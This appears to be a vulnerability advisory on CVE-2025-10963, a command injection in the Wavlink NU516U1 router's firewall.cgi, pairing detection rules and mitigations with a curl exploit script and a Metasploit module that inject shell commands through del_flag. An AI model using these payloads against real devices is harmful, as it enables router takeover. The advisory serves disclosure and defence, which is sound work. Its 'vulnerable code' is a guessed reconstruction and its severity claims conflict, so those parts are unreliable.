CVE-2025-10963

Executive Summary

CVE-2025-10963 is a critical command injection vulnerability discovered in the Wavlink NU516U1 router, specifically in firmware version M16U1_V240425. The flaw resides in the /cgi-bin/firewall.cgi binary, within the function sub_4016F0. By manipulating the del_flag argument, an unauthenticated remote attacker can inject arbitrary operating system commands, leading to full device compromise. The exploit has been publicly released, and the vendor has not responded to disclosure attempts, leaving the device in an unpatched state. This vulnerability poses a significant threat to network integrity and confidentiality.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Affects only the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification capability.
• Availability Impact: Low (A:L) – Limited service disruption.

Threat Level: High due to public exploit availability, no patch, and remote unauthenticated access.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the CGI binary firewall.cgi. The function sub_4016F0 processes HTTP POST requests and uses the del_flag parameter in a system call without proper sanitization. The binary likely constructs a command string by concatenating user input directly into a shell command, such as iptables or a custom firewall script. An attacker can inject shell metacharacters (e.g., ;, |, &&) to execute arbitrary commands.

Root Cause: Lack of input validation and use of unsafe functions like system() or popen() with user-controlled data.

Attack Flow:

1. Attacker sends a crafted HTTP POST request to /cgi-bin/firewall.cgi.
2. The del_flag parameter contains a payload like ; id > /tmp/out.
3. The CGI binary executes the command, writing output to a file or returning it in the response.
4. Attacker can then execute further commands to establish persistence, exfiltrate data, or pivot.

Vulnerable vs. Patched Code

Vulnerable Code (M16U1_V240425):

void sub_4016F0() {
    char cmd[256];
    char *del_flag = getenv("QUERY_STRING");
    // Extract del_flag value (simplified)
    snprintf(cmd, sizeof(cmd), "iptables -D INPUT %s", del_flag);
    system(cmd);
}

Patched Code (Hypothetical):

void sub_4016F0() {
    char cmd[256];
    char *del_flag = getenv("QUERY_STRING");
    // Sanitize input: allow only digits and hyphens
    if (!is_valid_rule_id(del_flag)) {
        return;
    }
    snprintf(cmd, sizeof(cmd), "iptables -D INPUT %s", del_flag);
    system(cmd);
}

The patched version would validate the input against a whitelist of allowed characters (e.g., [0-9-]) before passing it to the shell.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target Wavlink NU516U1 router with firmware M16U1_V240425.
• Network access to the router's web interface (typically port 80 or 443).

Exploit Payload:

#!/bin/bash
# CVE-2025-10963 Exploit
TARGET="192.168.1.1"
PAYLOAD="; id > /tmp/pwned"
curl -X POST "http://$TARGET/cgi-bin/firewall.cgi" \
  --data "del_flag=$PAYLOAD"
# Verify execution
curl "http://$TARGET/cgi-bin/firewall.cgi?del_flag=;cat+/tmp/pwned"

Metasploit Module (Conceptual):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Wavlink NU516U1 Command Injection',
      'Description' => 'Exploits command injection in firewall.cgi',
      'Author' => ['Security Researcher'],
      'References' => [['CVE', '2025-10963']],
      'DisclosureDate' => '2025-03-01',
      'Payload' => {'BadChars' => "\x00"},
      'Targets' => [['Automatic', {}]],
      'DefaultTarget' => 0
    ))
  end

  def exploit
    send_request_cgi({
      'method' => 'POST',
      'uri' => '/cgi-bin/firewall.cgi',
      'data' => "del_flag=;#{payload.encoded}"
    })
  end
end

Blue Team (Detection & Hardening)

Detection:

• Monitor HTTP POST requests to /cgi-bin/firewall.cgi with suspicious del_flag values.
• Look for shell metacharacters (;, |, &, $, `) in the parameter.
• Alert on outbound connections from the router to unknown IPs after exploitation.

Hardening:

• Disable remote management if not required.
• Restrict access to the web interface via firewall rules.
• Apply network segmentation to isolate IoT devices.
• Monitor for firmware updates from Wavlink (though currently unresponsive).

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /cgi-bin/firewall.cgi with del_flag containing shell metacharacters.
• Outbound connections from the router to attacker-controlled IPs on non-standard ports.
• DNS queries to domains associated with C2 infrastructure.

File IOCs:

• /tmp/pwned or similar files created by exploit payloads.
• Modified /etc/passwd or /etc/shadow if privilege escalation attempted.
• Unusual processes running as root (e.g., reverse shells).

System IOCs:

• Unexpected entries in iptables rules.
• Modified crontab entries for persistence.
• New listening ports (e.g., 4444, 31337).

Detection Engineering

YARA Rule

rule CVE_2025_10963_Wavlink_CommandInjection {
    meta:
        description = "Detects command injection attempts against Wavlink NU516U1"
        author = "Valters IT"
        date = "2025-03-01"
        reference = "CVE-2025-10963"
    strings:
        $cmd_inject = /del_flag=[^&]*[;&|`$]/
        $cgi_path = "/cgi-bin/firewall.cgi"
    condition:
        $cgi_path and $cmd_inject
}

Sigma Rule

title: Wavlink NU516U1 Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to firewall.cgi with suspicious del_flag parameter
author: Valters IT
date: 2025-03-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/cgi-bin/firewall.cgi'
        cs-uri-query|contains: 'del_flag='
    filter:
        cs-uri-query|re: 'del_flag=[0-9\-]+$'
    condition: selection and not filter
falsepositives:
    - Legitimate firewall rule deletion with numeric IDs
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-10963 Wavlink NU516U1 Command Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/cgi-bin/firewall.cgi";
    http_uri;
    content:"del_flag=";
    http_client_body;
    pcre:"/del_flag=[^&]*[;&|`$]/Ri";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place Wavlink NU516U1 routers on a separate VLAN with restricted internet access.
2. Disable remote management: Turn off WAN-side access to the web interface.
3. Monitor logs: Enable logging on the router and SIEM to detect exploitation attempts.

Long-term Fix:

• Vendor patch: Await an official firmware update from Wavlink. Since the vendor is unresponsive, consider replacing the device.
• Custom firewall rule: Implement a WAF or reverse proxy to filter malicious del_flag values.
• Firmware hardening: If possible, compile a custom firmware with input sanitization (advanced users only).

Workaround:

• Block HTTP POST requests to /cgi-bin/firewall.cgi at the network perimeter.
• Use a script to periodically check for and block suspicious requests.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert